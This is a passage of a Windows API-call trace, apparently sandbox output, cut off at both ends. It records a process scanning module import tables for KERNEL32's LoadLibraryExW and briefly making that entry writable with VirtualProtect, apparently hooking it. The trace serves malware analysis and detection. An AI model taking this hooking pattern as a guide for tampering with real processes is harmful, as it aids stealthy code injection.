ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.573] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f20 [0079.573] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.573] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.573] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.573] lstrcmpiA (lpString1="profapi.dll", lpString2="KERNEL32.DLL") returned 1 [0079.573] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.573] lstrcmpiA (lpString1="PrivCopyFileExW", lpString2="LoadLibraryExW") returned 1 [0079.573] lstrcmpiA (lpString1="MoveFileExW", lpString2="LoadLibraryExW") returned 1 [0079.573] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.573] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0079.573] lstrcmpiA (lpString1="SearchPathW", lpString2="LoadLibraryExW") returned 1 [0079.573] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0079.573] lstrcmpiA (lpString1="CreateSymbolicLinkW", lpString2="LoadLibraryExW") returned -1 [0079.573] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.573] lstrcmpiA (lpString1="DNSAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="logoncli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="netutils.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="SHELL32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="GPAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="GPSVC.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030f20 | out: hHeap=0x2020000) returned 1 [0079.574] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.574] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.574] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f20 [0079.574] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.574] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030f20 | out: hHeap=0x2020000) returned 1 [0079.574] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e90000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef6e90000, AllocationBase=0x7fef6e90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.574] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.574] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f20 [0079.574] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.574] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.575] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.575] lstrcmpiA (lpString1="webio.dll", lpString2="KERNEL32.DLL") returned 1 [0079.575] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.575] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="GetProcessHeap", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="FormatMessageW", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="CompareStringW", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.575] lstrcmpiA (lpString1="CompareStringA", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0079.575] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="lstrcmpiW", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="OutputDebugStringA", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="SetThreadpoolTimer", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="FreeLibraryWhenCallbackReturns", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="GetDateFormatA", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="GetTickCount64", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="CompareFileTime", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="lstrcmpA", lpString2="LoadLibraryExW") returned 1 [0079.576] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0079.576] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="LocalFileTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="GetSystemTime", lpString2="LoadLibraryExW") returned -1 [0079.577] lstrcmpiA (lpString1="SystemTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.577] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="DNSAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="NSI.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.577] lstrcmpiA (lpString1="dhcpcsvc.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.577] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030f20 | out: hHeap=0x2020000) returned 1 [0079.577] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e20000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef6e20000, AllocationBase=0x7fef6e20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.577] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.577] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f20 [0079.577] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.577] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.577] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="WaitForThreadpoolTimerCallbacks", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="CreateThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="CloseThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="StartThreadpoolIo", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="CancelThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="TrySubmitThreadpoolCallback", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="GetCurrentProcessorNumber", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="InterlockedPushEntrySList", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="QueryDepthSList", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="InterlockedPopEntrySList", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="InitializeSListHead", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="RaiseFailFastException", lpString2="LoadLibraryExW") returned 1 [0079.578] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.578] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.578] VirtualProtect (in: lpAddress=0x7fef6e5b250, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.578] VirtualProtect (in: lpAddress=0x7fef6e5b250, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.579] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.579] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.579] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f90 [0079.579] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030f90 | out: hHeap=0x2020000) returned 1 [0079.579] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.579] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.579] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f90 [0079.579] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.579] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.579] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.579] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.579] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.579] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="GetProfileIntW", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0079.579] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0079.579] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="LocalReAlloc", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="LocalFlags", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="OpenFile", lpString2="LoadLibraryExW") 